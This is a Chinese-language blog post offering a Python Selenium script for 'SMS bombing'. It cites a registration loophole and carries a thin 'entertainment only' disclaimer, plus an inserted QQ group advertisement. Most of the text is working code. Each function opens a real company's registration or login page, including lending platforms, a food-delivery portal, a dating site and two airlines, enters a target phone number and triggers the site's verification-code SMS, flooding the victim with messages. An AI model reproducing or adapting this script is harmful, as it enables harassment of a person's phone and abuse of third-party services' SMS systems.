原理其實很簡單,就是利用selenium包打開各類網站的註冊頁,輸入轟炸的號碼,實現轟炸。其實也算是利用了註冊漏洞。申明:僅娛樂使用,禁止:u7981:️用於非法用途!若用於非法用途,後果及法律責任博主一概不承擔php
不少人學習python,不知道從何學起。
不少人學習python,掌握了基本語法事後,不知道在哪裏尋找案例上手。
不少已經作案例的人,殊不知道如何去學習更加高深的知識。
那麼針對這三類人,我給你們提供一個好的學習平臺,免費領取視頻教程,電子書籍,以及課程的源代碼!
QQ羣:1097524789
html
1 from selenium import webdriver 2 from selenium.webdriver import ActionChains 3 import time 4 import threading 5 6 #360借條 7 def send_360(phon_num): 8 option = webdriver.ChromeOptions() 9 option.add_argument('headless') 10 browser = webdriver.Chrome(chrome_options=option) 11 browser.get('https://www.360jie.com.cn/') 12 browser.find_element_by_name("mobile").send_keys(phon_num) 13 browser.find_element_by_id('btnSendCode1').click() 14 time.sleep(5) 15 browser.close() 16 17 #拍拍貸 18 def send_paipai(phon_num): 19 20 option = webdriver.ChromeOptions() 21 option.add_argument('headless') 22 browser = webdriver.Chrome(chrome_options=option) 23 key = "8263abd" 24 browser.get("https://account.ppdai.com/pc/login") 25 browser.find_element_by_class_name("login_toRegister").click() 26 browser.find_element_by_name("Mobile").send_keys(phon_num) 27 browser.find_element_by_name("Password").send_keys(key) 28 browser.find_element_by_id("getvefydata").click() 29 time.sleep(5) 30 browser.close() 31 32 #餓了麼開放平臺 33 def send_ele(phon_num): 34 option = webdriver.ChromeOptions() 35 option.add_argument('headless') 36 browser = webdriver.Chrome(chrome_options=option) 37 browser.get('https://open.shop.ele.me/openapi/register') 38 browser.find_element_by_class_name('el-checkbox__inner').click() 39 time.sleep(3) 40 browser.find_element_by_xpath("//*[@class='el-button btn-next-step el-button--primary']").click() 41 time.sleep(4) 42 browser.find_element_by_class_name('el-input__inner').send_keys(phon_num) 43 browser.find_element_by_class_name('btn-verifyCode').click() 44 time.sleep(4) 45 browser.close() 46 47 #瓜子二手車 48 def send_guazi(phon_num): 49 option = webdriver.ChromeOptions() 50 option.add_argument('headless') 51 browser = webdriver.Chrome() 52 browser.get('https://www.guazi.com/nanchong/') 53 time.sleep(1) 54 browser.find_element_by_xpath("//*[@class='close js-close-finance-pop']").click() 55 time.sleep(2) 56 browser.find_element_by_id('js-login-new').click() 57 time.sleep(1) 58 browser.find_element_by_name('phone').send_keys(phon_num) 59 time.sleep(1) 60 browser.find_element_by_class_name('get-code').click() 61 time.sleep(4) 62 browser.close() 63 64 #鳳凰智信 65 def send_fenghuang(phon_num): 66 option = webdriver.ChromeOptions() 67 option.add_argument('headless') 68 browser = webdriver.Chrome(chrome_options=option) 69 browser.get('https://www.fengwd.com/') 70 time.sleep(1) 71 browser.find_element_by_xpath("//*[@class='top-bar-item login-tag']/a").click() 72 time.sleep(2) 73 browser.find_element_by_id('mobile_number').send_keys(phon_num) 74 browser.find_element_by_xpath("//*[@class='get-sms-captcha blue']").click() 75 time.sleep(4) 76 browser.close() 77 78 #衆房寶 79 def send_zongfangbao(phon_num): 80 option = webdriver.ChromeOptions() 81 option.add_argument('headless') 82 browser = webdriver.Chrome(chrome_options=option) 83 browser.get('https://www.zonefang.com/member/common/register') 84 time.sleep(1) 85 browser.find_element_by_class_name('phone').send_keys(phon_num) 86 time.sleep(2) 87 browser.find_element_by_class_name('pwd').send_keys('123456ydsa') 88 time.sleep(1) 89 browser.find_element_by_xpath("//*[@class='send_msg hand']").click() 90 time.sleep(4) 91 browser.close() 92 93 #百合相親網 94 def send_baihe(phon_num): 95 option = webdriver.ChromeOptions() 96 option.add_argument('headless') 97 browser = webdriver.Chrome(chrome_options=option) 98 browser.get('https://my.baihe.com/register/?spm=2.13.24.69.99') 99 time.sleep(1) 100 browser.find_element_by_id('account').send_keys(phon_num) 101 browser.find_element_by_id('mobileValiCode_btn').click() 102 time.sleep(4) 103 browser.close() 104 105 #四川航空 106 def send_sichuanair(phon_num): 107 option = webdriver.ChromeOptions() 108 option.add_argument('headless') 109 browser = webdriver.Chrome(chrome_options=option) 110 browser.get('http://flights.sichuanair.com/3uair/ibe/profile/createProfile.do') 111 browser.find_element_by_name('mobilePhone').send_keys(phon_num) 112 time.sleep(1) 113 browser.find_element_by_id('sendSmsCode').click() 114 time.sleep(6) 115 browser.close() 116 117 #昆明航空 118 def send_airkunming(phon_num): 119 option = webdriver.ChromeOptions() 120 option.add_argument('headless') 121 browser = webdriver.Chrome(chrome_options=option) 122 browser.get('https://www.airkunming.com/#/user/register') 123 browser.find_element_by_id('mobile').send_keys(phon_num) 124 time.sleep(1) 125 browser.find_element_by_xpath("//*[@class='sms-code']").click() 126 time.sleep(4) 127 browser.close() 128